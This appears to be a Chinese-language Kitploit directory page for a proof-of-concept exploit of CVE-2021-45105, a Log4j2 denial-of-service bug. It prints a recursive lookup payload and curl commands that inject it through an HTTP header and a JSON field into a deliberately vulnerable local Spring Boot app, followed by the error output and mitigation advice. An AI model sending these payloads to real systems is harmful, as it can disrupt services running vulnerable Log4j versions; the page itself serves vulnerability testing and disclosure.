Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4j_dos_CVE-2021-45105 — CVE-2021-45105(Log4j2 拒绝服务)的 PoC 漏洞利用,附带 Spring Boot Web 应用,通过构造的 HTTP 头/正文载荷演示无限循环。 | Kitploit
工具/GitHubGitHub/cckuailong/log4j_dos_cve-2021-45105
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubcckuailong/log4j_dos_cve-2021-45105

Log4j_dos_CVE-2021-45105

CVE-2021-45105(Log4j2 拒绝服务)的 PoC 漏洞利用,附带 Spring Boot Web 应用,通过构造的 HTTP 头/正文载荷演示无限循环。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
1314年前尚未审核

Log4j2 拒绝服务(CVE-2021-45105)

PoC

root@kitploit:~
${${::-${::-$${::-$}}}}

受影响版本:从 2.0-beta9 到 2.16.0 的所有版本

该应用程序基于易受 CVE-2021-45105 影响的 Spring Boot Web 应用程序。

它使用 Log4j 2.16.0。

运行应用程序

运行它:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

漏洞利用步骤

  • 然后,使用以下方式触发漏洞利用:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • 注意输出显示了无限循环,但在测试中并没有发现此 DoS 会消耗大量资源,因为程序识别出了这个无限循环并报错退出:
root@kitploit:~
 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

缓解措施:

Java 8(或更高版本)用户应升级到 2.17.0 版本。

或者,可以通过配置缓解此问题:

在日志配置的 PatternLayout 中,将 ${ctx:loginId} 或 $${ctx:loginId} 等 Context Lookups 替换为 Thread Context Map 模式(%X、%mdc 或 %MDC)。

否则,在配置中,删除来自应用程序外部来源(如 HTTP 头或用户输入)的 ${ctx:loginId} 或 $${ctx:loginId} 等 Context Lookups 引用。

参考

https://issues.apache.org/jira/browse/LOG4J2-3230

下载工具